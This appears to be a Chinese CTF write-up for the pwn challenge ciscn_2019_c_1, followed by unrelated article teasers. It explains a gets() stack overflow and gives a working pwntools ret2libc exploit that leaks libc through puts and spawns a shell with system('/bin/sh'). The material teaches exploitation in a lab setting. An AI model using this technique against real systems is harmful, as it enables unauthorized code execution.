ciscn_2019_c_1

news/2025/3/30 1:55:08/文章来源:https://www.cnblogs.com/imtaieee/p/18795123

题目链接:ciscn_2019_c_1。

下载附件后,使用 IDA 反编译,定位到 main 函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+Ch] [rbp-4h] BYREFinit();puts("EEEEEEE                            hh      iii                ");puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");puts("====================================================================");puts("Welcome to this Encryption machine\n");begin("Welcome to this Encryption machine\n", argv);while ( 1 ){while ( 1 ){fflush(0LL);v4 = 0;__isoc99_scanf("%d", &v4);getchar();if ( v4 != 2 )break;puts("I think you can do it by yourself");begin("I think you can do it by yourself", &v4);}if ( v4 == 3 ){puts("Bye!");return 0;}if ( v4 != 1 )break;encrypt();begin("%d", &v4);}puts("Something Wrong!");return 0;
}

这里重点关注 encrypt 函数,如下。

int encrypt()
{size_t v0; // rbxchar s[48]; // [rsp+0h] [rbp-50h] BYREF__int16 v3; // [rsp+30h] [rbp-20h]memset(s, 0, sizeof(s));v3 = 0;puts("Input your Plaintext to be encrypted");gets(s);while ( 1 ){v0 = (unsigned int)x;if ( v0 >= strlen(s) )break;if ( s[x] <= 96 || s[x] > 122 ){if ( s[x] <= 64 || s[x] > 90 ){if ( s[x] > 47 && s[x] <= 57 )s[x] ^= 0xFu;}else{s[x] ^= 0xEu;}}else{s[x] ^= 0xDu;}++x;}puts("Ciphertext");return puts(s);
}

可以看到,encrypt 函数使用 gets 函数读取用户输入,并且用户可通过输入 \x00 字符直接绕过后续的加密流程。

因此,可以直接先写入一个 \x00 来逃避后续的加密流程,随后使用 ROP 技术泄露 LIBC 基址,调用 system 函数 GetShell。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *def pwn():# 0x0000000000400c83 : pop rdi ; retsla("Input your choice!\n", "1")sla("Input your Plaintext to be encrypted\n", b"\x00" + 87 * b"a" + p64(0x0000000000400c83) + p64(ELF_FILE.got['alarm']) + p64(ELF_FILE.plt['puts']) + p64(ELF_FILE.symbols['_start']))LIBC_ADDR = uu64(ru('\x7f')[-6:]) - LIBC_FILE.symbols['alarm']leak("LIBC_ADDR", LIBC_ADDR)# .text:0000000000400C1C retnsla("Input your choice!\n", "1")sla("Input your Plaintext to be encrypted\n", b"\x00" + 87 * b"a" + p64(0x0000000000400C1C) + p64(0x0000000000400c83) + p64(LIBC_ADDR + next(LIBC_FILE.search(b"/bin/sh"))) + p64(LIBC_ADDR + LIBC_FILE.symbols['system']) + p64(ELF_FILE.symbols['_start']))irt()pwn()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/906450.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Springboot3+Vue3实现JWT登录鉴权

做鉴权原因: 管理系统的数据是敏感的,隐私的,每个角色的权限是不同的,必须在数据的增删改查操作时候对访问的用户进行权限验证 JWT(Json Web Token) 用于在网络应用间安全的传递消息。它以紧凑且自包含的方式,通过JSON对象在各方之间传递经过验证的信息。JWT通常由三部分…

搜维尔科技:SenseGlove触觉反馈手套-自动化和培训的突破

触觉力反馈技术领导者SenseGlove和机器人操控创新者Aeon宣布推出HEART项目。此次合作将虚拟现实 、力反馈触觉手套(SenseGlove)和机器人系统(Aeon)集成在一起,以实现直观控制和实时力反馈,使机器人训练更加方便和有效。 自动化和培训的突破 由于产品需求不断变化以及机器…

搜维尔科技:Haption通用遥控控制器,可轻松集成到工业机器人控制中

TeleRobotics EXtender (TREX) 是一个专为力反馈远程操作而设计的框架。它为操作员必须在危险、具有挑战性或受限的环境中操作的情况提供了一种创新的解决方案,使他们能够在不暴露自己风险的情况下执行任务。借助 TREX,操作员可以手动控制远程机器人,具有很高的灵活性和精确…

Elasticsearch 的搜索功能

Elasticsearch 的搜索功能建议阅读顺序:Elasticsearch 入门 Elasticsearch 搜索(本文)1. 介绍 使用 Elasticsearch 最终目的是为了实现搜索功能,现在先将文档添加到索引中,接下来完成搜索的方法。 查询的分类:叶子查询:叶查询子句在特定字段中查找特定值,例如 match、t…

20242213 实验二《Python程序设计》实验报告

20242213 2024-2025-2 《Python程序设计》实验2报告 课程:《Python程序设计》 班级: 2422 姓名: 刘宗林 学号:20242213 实验教师:王志强 实验日期:2025年3月26日 必修/选修: 公选课 1.实验内容设计并编写一个计算器程序,实现基本运算功能;功能包括加、减、乘、除、取余…

《实战Java高并发程序设计(第3版)》 | PDF免费下载

《实战Java高并发程序设计(第3版)》主要介绍基于Java的并行程序设计基础、思路、方法和实战。第一,立足于并行程序基础,详细介绍Java并行程序设计的基本方法。第二,进一步详细介绍JDK对并行程序的强大支持,帮助读者快速、稳健地进行并行程序开发。第三,详细讨论“锁”的…

《DeepSeek原理与项目实战》 | PDF免费下载

DeepSeek 是一种基于 Transformer 架构的生成式 AI(Artificial Intelligence)大模型,融合了MoE 架构、混合精度训练、分布式优化等先进技术,具备强大的文本生成、多模态处理和任务定制化能力。本书系统性地介绍了开源大模型 DeepSeek-V3 的核心技术及其在实际开发中的深度应…

实现极限网关(INFINI Gateway)配置动态加载

还在停机更新 Gateway 配置,OUT 了。 今天和大家分享一个 Gateway 的功能:动态加载配置(也称热更新或热加载)。 这个功能可以在 Gateway 不停机的情况下更新配置并使之生效。 配置样例如下: path.data: data path.logs: logconfigs:auto_reload: true # set true to auto …

ubuntu20.04安装Synergy

问题 最近在Ubuntu20.04上安装新版本的Synergy遇到一些问题,Synergy最后一个支持ubuntu20.04的版本是v3.1.3-beta,下面是下载地址: https://symless.com/synergy/download/other 在安装的时候遇到下面的问题:提示依赖libssl1,然后尝试安装下面的软件包: sudo apt install…

Netty源码—7.ByteBuf原理二

大纲 9.Netty的内存规格 10.缓存数据结构 11.命中缓存的分配流程 12.Netty里有关内存分配的重要概念 13.Page级别的内存分配 14.SubPage级别的内存分配 15.ByteBuf的回收9.Netty的内存规格 (1)4种内存规格 (2)内存申请单位(1)4种内存规格 一.tiny:表示从0到512字节之间的内存大…

一文速通Python并行计算:03 Python多线程编程-多线程同步(上)—基于互斥锁、递归锁和信号量

在 Python 多线程编程中,线程同步是确保多个线程安全访问共享资源的关键技术。本篇文章介绍了互斥锁(Lock)、递归锁(RLock) 和 信号量(Semaphore) 的概念与应用。互斥锁用于防止多个线程同时修改数据,递归锁适用于嵌套锁定场景,而信号量则限制同时访问资源的线程数。一…

K3D|高效创建轻量级 k8s 集群 (run in dokcer)

k3d 是一个轻量级的包装器,用于在 docker 中运行 k3s(Rancher Lab 的最小 Kubernetes 发行版)什么是 K3S 官网:https://k3s.io/ 指南:https://rancher.com/docs/k3s/latest/en/ 中文版指南:https://docs.rancher.cn/docs/k3s/_index/ K3s 是一个轻量级的 Kubernetes 发行…